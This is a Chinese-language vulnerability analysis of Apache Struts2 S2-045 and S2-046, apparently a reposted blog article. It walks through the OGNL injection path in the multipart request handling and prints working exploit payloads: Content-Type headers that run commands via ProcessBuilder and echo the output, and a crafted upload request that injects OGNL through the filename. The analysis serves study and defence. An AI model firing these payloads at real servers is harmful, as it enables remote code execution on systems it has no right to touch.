S2-045、S2-046

news/2024/10/30 9:25:54/

前言

    S2-045依然是一个Ognl表达式注入导致的RCE漏洞,且漏洞很严重。另外,还是建议读者阅读本篇文章前先看下系列文章的第一篇。

正文

    依然是第一篇文章中讲过,StrutsPrepareFilter的doFilter方法中,在获取action mapper前会对HttpServletRequest做一次封装。

     跟进该方法内:

    可以看到在wrapRequest方法根据请求中的Content-Type的不同有两种封装方式,当Content-Type头信息中包含有“multipart/form-data”字符串时将使用MultiPartRequestWrapper进行封装,跟进:

这里最好还是debug一下进去,以免分析错了
   curl  http://localhost:8088   -H  "Content-Type: multipart/form-data"      (使用curl构造请求头方便一点)

可以看到此时实际上调用的是JakartaMultiPartRequest,parse() ,跟进:

processUpload()方法故名思意,应该是处理文件上传的(Content-Type: multipart/form-data 本身就意味着请求是个上传请求),如果上传操作中程序报错,会被101行出的Exception 捕获到了

这里有个大坑,大家看到上面图片中的101行中e的值了没?报错信息里压根就没有字符串是我们之前输入的,是一段固定的字符串,无语(为了文章的连续性,我将这个放在最后面讲。)。

关键函数出来了,就是buildErrorMessage,跟进去:

调用了LocalizedTextUtil.findText(),继续跟进:

findText方法很长,关键在于第325行处调用了getDefaultMessage方法

跟进该方法

    第399行处调用了TextParseUtil.translateVariables()对报错信息message进行了ognl表达式解析,这个方法我们之前分析过,就是对${}或%{}中的字符串解析,这次就不跟进了。

    现在再回头看看,怎样让报错信息中带有我们的输入信息呢?之前我们说了是执行processUpload(request, saveDir);时报错了,我们跟进该方法内看看:

执行parseRequest()时报的错。(什么?我是怎么知道是这个方法报的错,debug发现的)跟进这个方法:

看了没,contentType不能以multipart开头才会将它加入到报错信息中,否则将报其他的错误。

最后给出poc吧(windows下弹框poc):

Content-Type: %{#type='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd='calc',#cmds={'cmd.exe','/c',#cmd},#p=new java.lang.ProcessBuilder(#cmds),#process=#p.start()}

 

兼容版有回显poc:
Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

 

S2-046

S2-046和S2-045的爆发点是一样的,只是输入点有些不同,利用方式上不一样。满足以下条件时:

  1. Content-Type 中包含multipart/form-data

  2. Content-Disposition中filename包含OGNL语句

  3. 文件大小大于2G(默认情况下),通过设置Content-Length就可以了;或者filename中有空字节\x00

 

给出别人的poc

 

POST /doUpload.action HTTP/1.1

Host: localhost:8080

Content-Length: 10000000

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection: close

 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type: text/plain

Kaboom

 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

 

 

参考文章

https://www.oschina.net/news/83099/struts2--remote-code-execution-vulnerability

https://cwiki.apache.org/confluence/display/WW/S2-045

https://cwiki.apache.org/confluence/display/WW/S2-046

https://www.jianshu.com/p/344f5091499d

转载于:https://www.cnblogs.com/jinqi520/p/10815249.html


http://www.ppmy.cn/news/416602.html

相关文章

小马哥--高仿三星S7 主板型号I3700曲面屏6735刷机图示 曲面屏版本较多 看清版本信息

山寨三星S7版本较多 A887 p608Q S205 S923 I8000 系列版本 I3700 是曲面屏 精仿机 上图

hadoop中的几个核心配置

说在前面 工作环境:VMware Workstation 12 Pro 12.5.6 build-5528349linux版本:CentOS-7-x86_64-Minimal-1611.isoJDK版本:jdk-8u65-linux-x64.tar.gzHadoop版本:hadoop-2.7.6.tar.gz hadoop中几个核心的配置如下 配置临时目录…

配置高可用(名称节点高可用)

本文详细配置名称节点的高可用,什么是高可用可参考官方文档 说在前面 工作环境:VMware Workstation 12 Pro 12.5.6 build-5528349linux版本:CentOS-7-x86_64-Minimal-1611.isoJDK版本:jdk-8u65-linux-x64.tar.gzHadoop版本&#…

Echarts柱状图,曲线图

实现地址 var yMax 5; var dataShadow []; var data [4.2, 3.8, 4.8, 3.5, 2.9, 2.8, 3, 5]for (var i 0; i < data.length; i) {dataShadow.push(yMax); } option {grid: {bottom: "15%"},tooltip: {trigger: "axis",axisPointer: {type: "…

多表连接面试题:ERROR:Not unique table/alias

class_info idclass_name2s2045s2051s2077s203 match_info idhost_idguest_idmatch_timematch_result1212018-12-1045:622272018-12-1655:503 4 5 1、题目需求&#xff1a;已知某学校组织篮球比赛&#xff0c;现在有两张表class_info 和 match_info&#xff0c;需要通…

Fatal signal XX (SIGSEGV) 常见解决思路 backtrace

Fatal signal XX (SIGSEGV)常用解决思路 ****例如&#xff1a;**** 1、log信息&#xff1a; (摘自网络) 02-13 14:56:12.140 6180 11596 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 11596 (pool_albumlabel) 02-13 14:56:12.149 4549 4579 D ForegroundUtils: …

Android中使用addr2line来分析native信息

系统&#xff1a;Ubuntu12.04 手机系统&#xff1a;Android5.0 在Android的开发过程中有会有很多的native bug必须要用addr2line来分析&#xff0c;并且这个工具也非常的好用。下面我们来看看具体的使用。 烧录到手机上的版本和你电脑上的编译出的版本要一致&#xff0c;这个…

替换pdf中的文字

在项目中经常会有一种需求&#xff0c;给定一个pdf模板&#xff0c;向里面空格中填充文字。若文字长度是固定的或长度变化不大&#xff0c;可以直接使用pdf模板来替换&#xff1b;若需要替换的新文字长度变动比较大&#xff0c;最好的办法是先做好一个word版的目标&#xff0c;…